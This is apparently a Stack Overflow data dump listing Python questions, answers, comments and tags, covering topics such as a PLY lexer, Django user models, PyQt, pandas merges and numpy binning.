has body: This is your function which recognizes IDENTIFIERs and keywords: def t_IDENTIFIER(t): r'[a-zA-Z]+([(a-zA-Z)*|(\d+)*|(_*)])*' t.type = reserved.get(t.value, 'IDENTIFIER') # Check for reserved words return t First, it is clear that the keywords it can recognize are precisely the keys of the dictionary reserved, which are: in out in\sout Since in out is not a key in that dictionary (in\sout is not the same string), it cannot be recognised as a keyword no matter what t.value happens to be. But t.value cannot be in out either, because t.value will always match the regular expression which controls t_IDENTIFIER: [a-zA-Z]+([(a-zA-Z)*|(\d+)*|(_*)])* and that regular expression never matches anything with a space character. (That regular expression has various problems; the characters *, (, ), | and + inside the second character class are treated as ordinary characters. See below for a correct regex.) You could certainly match in out as a token in a manner similar to that suggested in your original question, prior to the edit. However, t_KEYINOUT = r'in\sout' will not work, because Ply does not use the common "maximum munch" algorithm for deciding which regular expression pattern to accept. Instead, it simply orders all of the patterns and picks the first one which matches, where the order consists of all of the tokenizing functions (in the order in which they are defined), followed by the token variables sorted in reverse order of regex length. Since t_IDENTIFIER is a function, it will be tried before the variable t_KEYINOUT. To ensure that t_KEYINOUT is tried first, it must be made into a function and placed before t_IDENTIFIER. However, that is still not exactly what you want, since it will tokenize in outwards as LexToken(KEYINOUT,'in out',1,0) LexToken(IDENTIFIER,'wards',1,6) rather than LexToken(KEYIN,'in',1,0) LexToken(IDENTIFIER,'outwards',1,3) To get the correct analysis, you need to ensure that in out only matches if out is a complete word; in other words, if there…
score: 0
answers question: http://stackoverflow.com/q/46989251
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46989251
type: Answer

http://stackoverflow.com/q/47007588
has comment: http://stackoverflow.com/comment/80961969
tagged with: python
has answer: http://stackoverflow.com/a/60512319
answer count: 3
downvote count: 3
has body: In the following sequence, each number (except the first two) is the sum of the previous two number: 0, 1, 1, 2, 3, 5, 8, 13, .... This sequence is known as the Fibonacci sequence. Given the positive integers m and n (with m &lt; n) create a list consisting of the portion of the Fibonacci sequence greater than or equal to m and less than or equal to n. For example, if m is 3 and n is 6, then the list would be [3, 5] and if m is 2 and n is 20, then the list would be [2, 3, 5, 8, 13]. Associate the list with the variable fib. Have done this far, but still getting error. Where does it need to be fixed? fib = [0,1,1] result = 0 while result &lt;=n: result=fib[-1]+fib[-2] if result &lt;=n and result&gt;=m: fib.append(result)
has answer: http://stackoverflow.com/a/52571428
favorite count: 0
type: Question
has title: Fibonacci sequence using codelab
upvote count: 0
has answer: http://stackoverflow.com/a/47007751
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80962268
score: -3

http://stackoverflow.com/comment/80799931
has text: Using this I get `name 'csrf_exempt' is not defined` error.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46926483

http://stackoverflow.com/a/46984348
has body: Ended up just making a simple iterator for the problem. Here is my solution n=0 for df in frames_to_concat['Sheets']: print(df_dict[df]) df_dict[df] = df_dict[df].add_suffix(sep0 + suff[suffs['Suffixes'][n]]) n = n+1 Anyone have a better way to do this?
score: 0
answers question: http://stackoverflow.com/q/46982810
has comment: http://stackoverflow.com/comment/80918399
type: Answer

http://stackoverflow.com/comment/80941255
type: QuestionComment
has text: Oh I forgot to mention the Tensorflow version. I've used `tensorflow-1.4.0rc0` as well as `tensorflow-1.4.0rc1`. I have the same issue with both.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46992507

http://stackoverflow.com/comment/80850737
has text: Could you please share the link ?
comment on: http://stackoverflow.com/q/46951917
type: QuestionComment
score: 1
type: Comment

http://stackoverflow.com/comment/80849224
has text: Thanks for the answer!
comment on: http://stackoverflow.com/a/46950009
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/80960247
has text: +1 I like this idea - but sadly my dba doesn't give me the access to create temporary tables. Do you have any similar suggestions?
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47006835
type: AnswerComment

qtimer
tags question: http://stackoverflow.com/q/46940232
type: Tag
tag name: qtimer

http://stackoverflow.com/comment/81026045
has text: Don't post screenshots of the error, click the link that says "switch to copy-and-paste view' and then post the error here, as text.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47039626

http://stackoverflow.com/comment/80877823
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46922912
type: Comment
has text: Thank you Ken. Both you and James made it clear what I did wrong haha.

http://stackoverflow.com/q/46935758
tagged with: django
upvote count: 1
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/80851236
has body: I've created this draft of a reusable app: django-separate-users. It basically works :) But, this code only runs on django 1.11+. The problem is right here, the call to get_user_model(): models.py. The docs state, that in 1.11 "The ability to call get_user_model() at import time was added.": https://docs.djangoproject.com/en/1.11/topics/auth/customizing/#referencing-the-user-model How can I make this code work down to django 1.8? AUTH_USER_MODEL is a string, so it doesnt work? As far as I can see, get_user_model() uses django's apps.get_model('my_app', 'my_model'), where in django 1.11, it adds a require_ready kwarg. Compare django 1.11 vs django 1.10 get_user_model. Also, the kwarg of apps.get_model() was introduced in django 1.11. Here is the code (models.py), simplified: from django.contrib.auth import get_user_model UserModel = get_user_model() class FrontendUser(UserModel): objects = FrontendUserManager() def save(self, *args, **kwargs): self.is_staff = False super(FrontendUser, self).save(*args, **kwargs) class Meta: proxy = True And the (obvious) error in django&lt;1.11: django.core.exceptions.AppRegistryNotReady: Models aren't loaded yet. Maybe it's simply impossible to achieve?
score: 1
tagged with: django-custom-user
tagged with: django-models
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/80818868
type: UnansweredQuestion
has title: django's get_user_model() only in 1.11 during import time
downvote count: 0

http://stackoverflow.com/q/47064174
tagged with: python-3.x
tagged with: graphics
accepted answer: http://stackoverflow.com/a/47066265
tagged with: python
has comment: http://stackoverflow.com/comment/81077897
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81076763
has answer: http://stackoverflow.com/a/47066265
downvote count: 0
has title: PYQT Graphics View Pixel Value of an image
tagged with: pyqt
score: 1
upvote count: 1
answer count: 1
has body: I have a question about how to get the RGB values from a picture while moving the mouse around. I have a few line edit boxes that I would like the values to change as I move my mouse over the picture. I'm close but it is not working yet. I understand why this is not working the way I would like but I am not exactly sure how to fix it. How this is set up I used Qt designer to make the GUI's and then I translated that into python code which I am referencing in. In my main window, I have an MDI area and some line edit boxes. When I open a photo it creates a new MDI window that has a graphic view and scroll area that is associated with it. To track the mouse movements I am using an installEventFilter on the viewport of the graphic view. So anything that is in view it will give me the coordinates within that view and not the whole picture its self. Example of my problem If I load in a picture bigger than my screen it would put scroll bars on the side. As long as I'm at the top everything seems to work correctly but if I scroll down or to the side to one side or the other now the picture has moved but the viewport has not. What I would like My end goal is to be able to get the coordinates of each pixel in the picture that my mouse is currently on and then from that extract the RGB values. If I move the mouse then the coordinates will change. From there I just want to values in a few line edit boxes to change as I move the mouse around. Screenshot of Main Window Main Window This is my Main_GUI.py file from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(818, 814) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) self.gridLayout.setObjectName("gridLayout") self.Button_LoadPhoto = QtWidgets.QPushButton(self.centralwidget) self.Button_LoadPhoto.setObjectName("Bu…
tagged with: pyqt5
favorite count: 0
type: Question

http://stackoverflow.com/a/46963882
accepted answer of: http://stackoverflow.com/q/46963774
has body: There is no way to do it in one line. You can do it inside function: def string_Grabber(stuff): my_string = '' my_number = 0 for i in range(who_cares): #stuff that concatenates my_string if this_happens(): my_number += 1 return my_string, my_number + outside_int
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46963774
has comment: http://stackoverflow.com/comment/80875785
has comment: http://stackoverflow.com/comment/80875625
type: Answer
score: 4
upvote count: 4

http://stackoverflow.com/comment/81022910
type: AnswerComment
comment on: http://stackoverflow.com/a/47034240
has text: In my case it is faster but not so fast as yours: `In [77]: %timeit df['result_date'].dt.date` `1.44 s ± 42.1 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)`
type: Comment
score: 0

http://stackoverflow.com/q/47054249
tagged with: dynamic
has body: Context: I’m trying to build a simple (read-only) python API client for a storage product dynamically. Situation: The API server has endpoints like this: [GET] /monitor/host?nodeId=xxx[&amp;region=xxx] [GET] /monitor/nodelist?[region=xxx] [GET] /system/version [GET] /usage My idea was to create classes for each endpoint (monitor, system, usage, etc), and then fetch the “child-endpoint” (in bold: /monitor/host or /monitor/nodelist, etc) dynamically… then, I would still need to fetch all URL the parameters (which are always optional and can only be: nodeId and/or region, etc)… the usage I have in something like this: client = WhateverStorageApi() client.monitor.host(hostId='node01', region='eu-west-1') # the above would generate a str: /monitor/host?nodeId=node01&amp;region=eu-west-1 My problem is: __ getattr__ isn’t aware of any **kwargs, and __ call__ only works for whenever I call a class, which brings me to the question: is there any other well-known way of achieving this? Or is my usage idea completely non-sense? For example, I came up with: class Monitor(object): base_url = 'monitor' def __getattr__(self, endpoint, **kwargs): base_call = '/{base_url}/{endpoint}'.format( base_url=Monitor.base_url, endpoint=endpoint ) if 'nodeId' in kwargs.keys(): base_call += '?nodeId={node_id}'.format( node_id=kwargs['nodeId'] ) if 'region' in kwargs.keys(): base_call += '?region={region}'.format( region=kwargs['region'] ) # do something with base_call (which I know… it simply doesn’t work)
has title: Python: How to dynamically get kwargs from __getattr__
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/47055869
upvote count: 1
answer count: 1
favorite count: 0
type: Question
tagged with: python
type: UnansweredQuestion
tagged with: getattr

http://stackoverflow.com/a/46986732
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/46986711
type: Answer
score: 2
has body: You never created the directory! You're just creating a string path and storing it in wallet_filepath. You can use os.makedirs to create the directory recursively (i.e, create all intermediate-level directories as well, needed to create the final dir): wallet_filepath = os.path.join( 'PWD', str(uuid.uuid4().hex) , '.bin') print (wallet_filepath) if not os.path.exists(wallet_filepath) : os.makedirs(directory) print (os.stat(wallet_filepath))

http://stackoverflow.com/comment/80985917
type: Comment
type: QuestionComment
has text: use a state machine... once you find the line you are looking for, use a boolean variable to indicate start of printing... then when you hit an empty line, set it to false.. see https://stackoverflow.com/questions/8009882/how-to-read-large-file-line-by-line-in-python for reading file line by line
score: 0
comment on: http://stackoverflow.com/q/47019523

http://stackoverflow.com/q/47006571
has body: So I've been trying to work at making a proper Pascal's triangle but all the sources that I've found seem to either use def's or input statements at the start of the code. It's a pretty basic question, but how can I put an input statement into this program to where it asks "What is the height of the triangle." So I can always be able to change the outcome to whatever height I want it to be. Thanks. def new_row(n): trow = [1] y = [0] for x in range(max(n,0)): print(trow) trow=[l+r for l,r in zip(trow+y, y+trow)] return n&gt;=1 new_row(6)
score: 0
has comment: http://stackoverflow.com/comment/80959796
has comment: http://stackoverflow.com/comment/80959787
has comment: http://stackoverflow.com/comment/80959806
linked to: http://stackoverflow.com/q/29431704
type: UnansweredQuestion
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: pascals-triangle
has title: Pascal's Triangle Python
has answer: http://stackoverflow.com/a/73829715
tagged with: python

http://stackoverflow.com/comment/80941856
comment on: http://stackoverflow.com/q/46997622
type: Comment
has text: What linux distro are you using?
type: QuestionComment
score: 0

celery
tags question: http://stackoverflow.com/q/47060283
tags question: http://stackoverflow.com/q/46942584
tags question: http://stackoverflow.com/q/47002644
tags question: http://stackoverflow.com/q/46951096
type: Tag
tags question: http://stackoverflow.com/q/47042834
tags question: http://stackoverflow.com/q/47044100
tags question: http://stackoverflow.com/q/46913392
tags question: http://stackoverflow.com/q/47014455
tags question: http://stackoverflow.com/q/47048211
tags question: http://stackoverflow.com/q/46982280
tags question: http://stackoverflow.com/q/46952624
tag name: celery
tags question: http://stackoverflow.com/q/47049240
tags question: http://stackoverflow.com/q/47050010
tags question: http://stackoverflow.com/q/47057983
tags question: http://stackoverflow.com/q/47043693
tags question: http://stackoverflow.com/q/47042415
tags question: http://stackoverflow.com/q/46976009
tags question: http://stackoverflow.com/q/46989636
tags question: http://stackoverflow.com/q/47016424
tags question: http://stackoverflow.com/q/47022525
tags question: http://stackoverflow.com/q/47013843
tags question: http://stackoverflow.com/q/46964578
tags question: http://stackoverflow.com/q/47045791

python-packaging
type: Tag
tags question: http://stackoverflow.com/q/47042483
tags question: http://stackoverflow.com/q/47022424
tag name: python-packaging
tags question: http://stackoverflow.com/q/47010680

http://stackoverflow.com/comment/80980168
type: QuestionComment
has text: The line `global U` will fix your problem. It is fine that you found a minimal example of your bug. I can confirm that your problem is a duplicate of these or if you understand them you will also understand your problem.
comment on: http://stackoverflow.com/q/47013868
score: 0
type: Comment

http://stackoverflow.com/comment/81077408
comment on: http://stackoverflow.com/q/47064582
score: 0
has text: @FELASNIPER del dict['user'][userId] , i don't knwo something else what i could do
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46988082
tagged with: python
has body: I have 60 functional tests in one file. I wrote them in Notepad++ and used py.test as the test framework. Today I decided to swap Notepad++ with PyCharm. I opened my file of functional tests in PyCharm and ran the tests from PyCharm, as you can see in the picture: Now, after confirming that I could run all of the tests, I tried to run an individual test, for example test_login_with_extantUser_using_email. Logically, I right-clicked on the test, expecting a "run test" button or something similar to appear. But no such thing appeared. In fact, it appears that there is no way to run an individual test by simply right-clicking on it. So my question is, how can I run an individual test? Must I set up a configuration for each one in the Edit Configurations menu? That would take a very long time, considering that I have 60 tests.
has comment: http://stackoverflow.com/comment/80922931
has answer: http://stackoverflow.com/a/47018497
score: 2
type: AnsweredQuestion
answer count: 2
has answer: http://stackoverflow.com/a/46989094
downvote count: 0
tagged with: pytest
has title: How to run a particular test in PyCharm
favorite count: 0
type: Question
upvote count: 2
linked to: http://stackoverflow.com/q/36079152
tagged with: pycharm
accepted answer: http://stackoverflow.com/a/46989094
has comment: http://stackoverflow.com/comment/80923140
has comment: http://stackoverflow.com/comment/80923299
possible better answer: http://stackoverflow.com/a/47018497

where-clause
tag name: where-clause
tags question: http://stackoverflow.com/q/47062216
type: Tag

tensorflow
type: Tag
tags question: http://stackoverflow.com/q/47033886
tags question: http://stackoverflow.com/q/47049853
tags question: http://stackoverflow.com/q/47021810
tags question: http://stackoverflow.com/q/47029048
tags question: http://stackoverflow.com/q/46909431
tags question: http://stackoverflow.com/q/46959173
tags question: http://stackoverflow.com/q/47014306
tags question: http://stackoverflow.com/q/47001326
tags question: http://stackoverflow.com/q/46926091
tags question: http://stackoverflow.com/q/46966865
tags question: http://stackoverflow.com/q/47030286
tags question: http://stackoverflow.com/q/47034888
tags question: http://stackoverflow.com/q/46954743
tags question: http://stackoverflow.com/q/46954643
tags question: http://stackoverflow.com/q/46910931
tags question: http://stackoverflow.com/q/46954333
tags question: http://stackoverflow.com/q/46952766
tags question: http://stackoverflow.com/q/46957683
tags question: http://stackoverflow.com/q/47040815
tags question: http://stackoverflow.com/q/46947848
tags question: http://stackoverflow.com/q/46943173
tags question: http://stackoverflow.com/q/46977868
tags question: http://stackoverflow.com/q/46959503
tags question: http://stackoverflow.com/q/47013937
tags question: http://stackoverflow.com/q/46919462
tags question: http://stackoverflow.com/q/46918706
tags question: http://stackoverflow.com/q/47064178
tags question: http://stackoverflow.com/q/46935897
tags question: http://stackoverflow.com/q/47012392
tags question: http://stackoverflow.com/q/47060869
tags question: http://stackoverflow.com/q/47017880
tags question: http://stackoverflow.com/q/46992507
tags question: http://stackoverflow.com/q/46962213
tags question: http://stackoverflow.com/q/46909787
tags question: http://stackoverflow.com/q/46941747
tags question: http://stackoverflow.com/q/46913394
tags question: http://stackoverflow.com/q/46929246
tags question: http://stackoverflow.com/q/47062937
tags question: http://stackoverflow.com/q/46967538
tags question: http://stackoverflow.com/q/46982997
tags question: http://stackoverflow.com/q/47056814
tags question: http://stackoverflow.com/q/46984926
tags question: http://stackoverflow.com/q/47003318
tags question: http://stackoverflow.com/q/46966148
tags question: http://stackoverflow.com/q/46963606
tags question: http://stackoverflow.com/q/47056391
tags question: http://stackoverflow.com/q/46945210
tags question: http://stackoverflow.com/q/46942622
tags question: http://stackoverflow.com/q/46951793
tags question: http://stackoverflow.com/q/47058092
tags question: http://stackoverflow.com/q/46977856
tags question: http://stackoverflow.com/q/47022674
tags question: http://stackoverflow.com/q/47048966
tags question: http://stackoverflow.com/q/46982652
tags question: http://stackoverflow.com/q/46998182
tags question: http://stackoverflow.com/q/47025885
tags question: http://stackoverflow.com/q/47062932
tags question: http://stackoverflow.com/q/47045026
tags question: http://stackoverflow.com/q/46967550
tags question: http://stackoverflow.com/q/46970039
tags question: http://stackoverflow.com/q/46929675
tags question: http://stackoverflow.com/q/46926809
tags question: http://stackoverflow.com/q/46990079
tags question: http://stackoverflow.com/q/47047057
tags question: http://stackoverflow.com/q/47042030
tags question: http://stackoverflow.com/q/47062288
tags question: http://stackoverflow.com/q/46965047
tags question: http://stackoverflow.com/q/46915944
tags question: http://stackoverflow.com/q/46925583
tags question: http://stackoverflow.com/q/47013530
tags question: http://stackoverflow.com/q/46960427
tags question: http://stackoverflow.com/q/47030644
tags question: http://stackoverflow.com/q/47054706
tags question: http://stackoverflow.com/q/47053713
tags question: http://stackoverflow.com/q/47025750
tags question: http://stackoverflow.com/q/47040860
tags question: http://stackoverflow.com/q/46996903
tags question: http://stackoverflow.com/q/47057332
tags question: http://stackoverflow.com/q/47030369

http://stackoverflow.com/q/47058278
has answer: http://stackoverflow.com/a/47058298
type: Question
has title: Pandas: change view of dataframe
tagged with: python
has body: I have dataframe id domain 111 vk.com 111 facebook.com 111 twitter.com 222 avito.ru 222 vk.com Desire output id domain1 domain2 domain3 111 vk.com facebook.com twitter.com 222 avito.ru vk.com NaN I try transpose df.T, but it works otherwise
possible better answer: http://stackoverflow.com/a/47058298
accepted answer: http://stackoverflow.com/a/47058367
type: AnsweredQuestion
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47058367
tagged with: pandas

http://stackoverflow.com/q/47034655
linked to: http://stackoverflow.com/q/12680754
downvote count: 1
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/81019369
accepted answer: http://stackoverflow.com/a/47036369
tagged with: for-loop
tagged with: pandas
type: AnsweredQuestion
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/81017376
has title: Python extract elements from Json string
possible better answer: http://stackoverflow.com/a/47036976
upvote count: 1
has answer: http://stackoverflow.com/a/47035247
has comment: http://stackoverflow.com/comment/81018875
has comment: http://stackoverflow.com/comment/81016497
has answer: http://stackoverflow.com/a/47036976
favorite count: 0
has body: I have a Json string from which I'm able to extract few components like formatted_address,lat,lng, but I'm unable to extract feature(values) of other components like intersection, political, country, administrative_area_level_1 , administrative_area_level_2 , administrative_area_level_3 , administrative_area_level_4, administrative_area_level_5, colloquial_area , locality , ward, neighborhood, premise, subpremise etc which is under long_name I'm expecting datatable like formatted_address px_val py_val political country administrative_area_level_1 .. .. Satya Niwas, Kanti Nagar.. 19.1096591 72.8674712 Kanti Nagar,JB Nagar India maharashtra .. .. 82, Bamanpuri, Ajit Nagar.. 19.109749 72.867249 Bamanpuri India maharashtra .. .. . . . Here is the sample JSON string {'results': [{'address_components': [{'long_name': 'Satya Niwas', 'short_name': 'Satya Niwas', 'types': ['establishment', 'point_of_interest', 'premise']}, {'long_name': 'Kanti Nagar', 'short_name': 'Kanti Nagar', 'types': ['political', 'sublocality', 'sublocality_level_3']}, {'long_name': 'J B Nagar', 'short_name': 'J B Nagar', 'types': ['political', 'sublocality', 'sublocality_level_2']}, {'long_name': 'Andheri East', 'short_name': 'Andheri East', 'types': ['political', 'sublocality', 'sublocality_level_1']}, {'long_name': 'Mumbai', 'short_name': 'Mumbai', 'types': ['locality', 'political']}, {'long_name': 'Mumbai Suburban', 'short_name': 'Mumbai Suburban', 'types': ['administrative_area_level_2', 'political']}, {'long_name': 'Maharashtra', 'short_name': 'MH', 'types': ['administrative_area_level_1', 'political']}, {'long_name': 'India', 'short_name': 'IN', 'types': ['country', 'political']}, {'long_name': '400059', 'short_name': '400059', 'types': ['postal_code']}], 'formatted_address': 'Satya Niwas, Kanti Nagar, J B Nagar, Andheri East, Mumbai, Maharashtra 400059, India', 'geometry': {'bounds': {'northeast': {'lat': 19.1097923, 'lng': 72.8675306}, 'southwest': {'lat': 19.1095784, 'lng': 72.8673391}}, 'loc…
has comment: http://stackoverflow.com/comment/81018035
type: Question
has answer: http://stackoverflow.com/a/47036369
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/80786654
type: Comment
comment on: http://stackoverflow.com/a/46919376
type: AnswerComment
has text: what do you mean? I only have about 1600 lines in the excel document
score: 0

http://stackoverflow.com/a/46978945
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46978788
downvote count: 0
upvote count: 1
has body: Here's a dict comprehensions to do that: # Your input dict dict_ = { 'ALPHA':(["data['ALPHA']", 'EMPTY'], 'N', 'N', 1), 'BETA':(["data['BETA']", 'EMPTY'], 'N', 'N', 2), 'GAMMA':(["data['GAMMA']", 'EMPTY'], 'N', 'N', 3)} # The offset for the last value of the tuple offset = 5 # The updated dict dict_offset = { key: value[:-1] + (value[-1] + offset, ) for key, value in dict_.items()}

http://stackoverflow.com/comment/80986826
score: 0
has text: @Bharath added a sample
comment on: http://stackoverflow.com/q/47019775
type: QuestionComment
type: Comment

http://stackoverflow.com/a/47023604
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: Method #1 You can sort predictions array and then use searchsorted or np.digitize, like so - np.searchsorted(np.sort(fake_preds), thresholds, 'right') np.digitize(thresholds, np.sort(fake_preds)) If you don't mind mutating predictions array, sort in-place with : fake_preds.sort() and then use fake_preds in place of np.sort(fake_preds). This should be much more performant as we would be avoiding the use of any extra memory there. Method #2 Now, with the thresholds being 100 from 0 to 1, those thresholds would be multiples of 0.01. Thus, we can simply digitize with a scaling up of 100 for each of them and converting them to ints, which could be pretty straight-forwardly fed as bins to np.bincount. Then, to get or desired result, use cumsum, like so - np.bincount((fake_preds*100).astype(int),minlength=99)[:99].cumsum() Benchmarking Approaches - def searchsorted_app(fake_preds, thresholds): return np.searchsorted(np.sort(fake_preds), thresholds, 'right') def digitize_app(fake_preds, thresholds): return np.digitize(thresholds, np.sort(fake_preds) ) def bincount_app(fake_preds, thresholds): return np.bincount((fake_preds*100).astype(int),minlength=99)[:99].cumsum() Runtime test and verification on 10000 elements - In [210]: np.random.seed(0) ...: fake_preds = np.random.rand(10000) ...: thresholds = [round(n,2) for n in np.arange(0.01, 1.0, 0.01)] ...: thresh_cov = [sum(fake_preds &lt; thresh) for thresh in thresholds] ...: In [211]: print np.allclose(thresh_cov, searchsorted_app(fake_preds, thresholds)) ...: print np.allclose(thresh_cov, digitize_app(fake_preds, thresholds)) ...: print np.allclose(thresh_cov, bincount_app(fake_preds, thresholds)) ...: True True True In [214]: %timeit [sum(fake_preds &lt; thresh) for thresh in thresholds] 1 loop, best of 3: 1.43 s per loop In [215]: %timeit searchsorted_app(fake_preds, thresholds) ...: %timeit digitize_app(fake_preds, thresholds) ...: %timeit bincount_app(fake_preds, thresholds) ...: 1000 loops, best of 3: 528 µs per loop …
has comment: http://stackoverflow.com/comment/80995095
has comment: http://stackoverflow.com/comment/80996887
type: Answer
has comment: http://stackoverflow.com/comment/80996857
accepted answer of: http://stackoverflow.com/q/47023100
has comment: http://stackoverflow.com/comment/80995337
has comment: http://stackoverflow.com/comment/80996739
score: 2
has comment: http://stackoverflow.com/comment/81031230
answers question: http://stackoverflow.com/q/47023100

http://stackoverflow.com/q/46971307
tagged with: left-join
has answer: http://stackoverflow.com/a/51012690
tagged with: pandas
score: 1
tagged with: python
tagged with: merge
linked to: http://stackoverflow.com/q/29353096
has comment: http://stackoverflow.com/comment/80893671
has comment: http://stackoverflow.com/comment/80890205
has body: I have two Python Pandas Dataframe like below: left = pd.DataFrame({'key1': ['K0', 'K0', 'K1', 'K1', 'K1', 'K1', 'K2'], 'key2': ['K0', 'K1', 'K0', 'K0', 'K0', 'K0', 'K1'], 'A': ['A0', 'A1', 'A2', 'A3', 'A4', 'A5', 'A6'], 'B': ['B0', 'B1', 'B2', 'B3', 'B4', 'B5', 'B6']}) right = pd.DataFrame({'key1': ['K0', 'K1', 'K1', 'K2'], 'key2': ['K0', 'K0', 'K0', 'K0'], 'C': ['C0', 'C1', 'C2', 'C3'], 'D': ['D0', 'D1', 'D2', 'D3']}) print left A B key1 key2 0 A0 B0 K0 K0 1 A1 B1 K0 K1 2 A2 B2 K1 K0 3 A3 B3 K1 K0 4 A4 B4 K1 K0 5 A5 B5 K1 K0 6 A6 B6 K2 K1 print right C D key1 key2 0 C0 D0 K0 K0 1 C1 D1 K1 K0 2 C2 D2 K1 K0 3 C3 D3 K2 K0 I want to merge this two Dataframe on certain condition: I want to merge this dataframes on key1 and key2. I want output Dataframe with only rows available in the left dataframe. (If the key1 and key2 of left Dataframe is available in the key1 and key2 of the right Dataframe then fulfill the current row by appending column C and D) I tried like below: result = pd.merge(left, right, on=['key1', 'key2'],how = 'left') print result # Output - which is not expected for me A B key1 key2 C D 0 A0 B0 K0 K0 C0 D0 1 A1 B1 K0 K1 NaN NaN 2 A2 B2 K1 K0 C1 D1 3 A2 B2 K1 K0 C2 D2 4 A3 B3 K1 K0 C1 D1 5 A3 B3 K1 K0 C2 D2 6 A4 B4 K1 K0 C1 D1 7 A4 B4 K1 K0 C2 D2 8 A5 B5 K1 K0 C1 D1 9 A5 B5 K1 K0 C2 D2 10 A6 B6 K2 K1 NaN NaN If I drop the duplicate entries from the left Dataframe then also I didn't get the expected output. Then, I tried to remove duplicate entries from the result Dataframe then I got below Dataframe: result.drop_duplicates(subset = ['A','B','key1','key2'], inplace=True) print result A B key1 key2 C D 0 A0 B0 K0 K0 C0 D0 1 A1 B1 K0 K1 NaN NaN 2 A2 B2 K1 K0 C1 D1 4 A3 B3 K1 K0 C1 D1 6 A4 B4 K1 K0 C1 D1 8 A5 B5 K1 K0 C1 D1 10 A6 B6 K2 K1 NaN NaN The problem is column C and D contains same values which is because of default keep=First behavior. I want to change this behavior so that I can get below expected Dataframe. Edit : If the key1 and key2 of left Da…
downvote count: 0
has title: How to merge two pandas dataframe with left join when both dataframe contains duplicate keys?
upvote count: 1
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/80890363
favorite count: 0
type: Question

http://stackoverflow.com/q/46950766
has comment: http://stackoverflow.com/comment/80849043
type: Question
tagged with: pandas
score: 0
has answer: http://stackoverflow.com/a/46951084
tagged with: numpy
has comment: http://stackoverflow.com/comment/80848865
has comment: http://stackoverflow.com/comment/80849293
has comment: http://stackoverflow.com/comment/80848801
answer count: 2
has answer: http://stackoverflow.com/a/46951424
has comment: http://stackoverflow.com/comment/80848887
has comment: http://stackoverflow.com/comment/80849341
has comment: http://stackoverflow.com/comment/80849089
has body: I started learning Python &lt; 2 weeks ago. I'm trying to make a function to compute a 7 day moving average for data. Something wasn't going right so I tried it without the function. moving_average = np.array([]) i = 0 for i in range(len(temp)-6): sum_7 = np.array([]) avg_7 = 0 missing = 0 total = 7 j = 0 for j in range(i,i+7): if pd.isnull(temp[j]): total -= 1 missing += 1 if missing == 7: moving_average = np.append(moving_average, np.nan) break if not pd.isnull(temp[j]): sum_7 = np.append(sum_7, temp[j]) if j == (i+6): avg_7 = sum(sum_7)/total moving_average = np.append(moving_average, avg_7) If I run this and look at the value of sum_7, it's just a single value in the numpy array which made all the moving_average values wrong. But if I remove the first for loop with the variable i and manually set i = 0 or any number in the range of the data set and run the exact same code from the inner for loop, sum_7 comes out as a length 7 numpy array. Originally, I just did sum += temp[j] but the same problem occurred, the total sum ended up as just the single value. I've been staring at this trying to fix it for 3 hours and I'm clueless what's wrong. Originally I wrote the function in R so all I had to do was convert to python language and I don't know why sum_7 is coming up as a single value when there are two for loops. I tried to manually add an index variable to act as i to use it in the range(i, i+7) but got some weird error instead. I also don't know why that is. https://gyazo.com/d900d1d7917074f336567b971c8a5cee https://gyazo.com/132733df8bbdaf2847944d1be02e57d2
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80849216
has comment: http://stackoverflow.com/comment/80849851
has title: Python code not working as intended
has comment: http://stackoverflow.com/comment/80849535

http://stackoverflow.com/a/46920863
answers question: http://stackoverflow.com/q/46919776
has comment: http://stackoverflow.com/comment/80795925
has body: First off, as both @Rob and @silent have noted, 'Twitter Data' should be "Twitter Data". Json needs double quotes, not single quotes to delimit a string. Secondly, when reading with json.load() it expects a file Object, so when calling json.load(), just pass in json_data and it will read the whole json file into memory: with open('@account.json' , 'r') as json_data: contents = json.load(json_data) EDIT: for handling multiple objects at once: def get_objs(f): content = f.read() # Get each object in the contents of the file object. # This is kinda clunky and inelegant, but it should work objs = ['{}{}'.format(i, '}') for i in content.split('},')] # Last json_obj probably got an unnecessary "}" at the end, so trim the # last character from it objs[-1] = objs[-1][0:-1] json_objs = [json.loads(i) for i in objs] return json_objs and then just go: with open('@account.json', 'r') as json_data: json_objs = get_objs(json_data) Hopefully this will work for you. It did for me when I tested it on a simalarly formatted json file.
has comment: http://stackoverflow.com/comment/80795772
has comment: http://stackoverflow.com/comment/80790145
has comment: http://stackoverflow.com/comment/80790420
has comment: http://stackoverflow.com/comment/80789923
type: Answer
score: 0

http://stackoverflow.com/comment/80766578
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46909586
score: 0
has text: but there is problem you cannot convert `datetimes` to dates before resample, because resample need datetimes :(

http://stackoverflow.com/a/47029476
answers question: http://stackoverflow.com/q/47027652
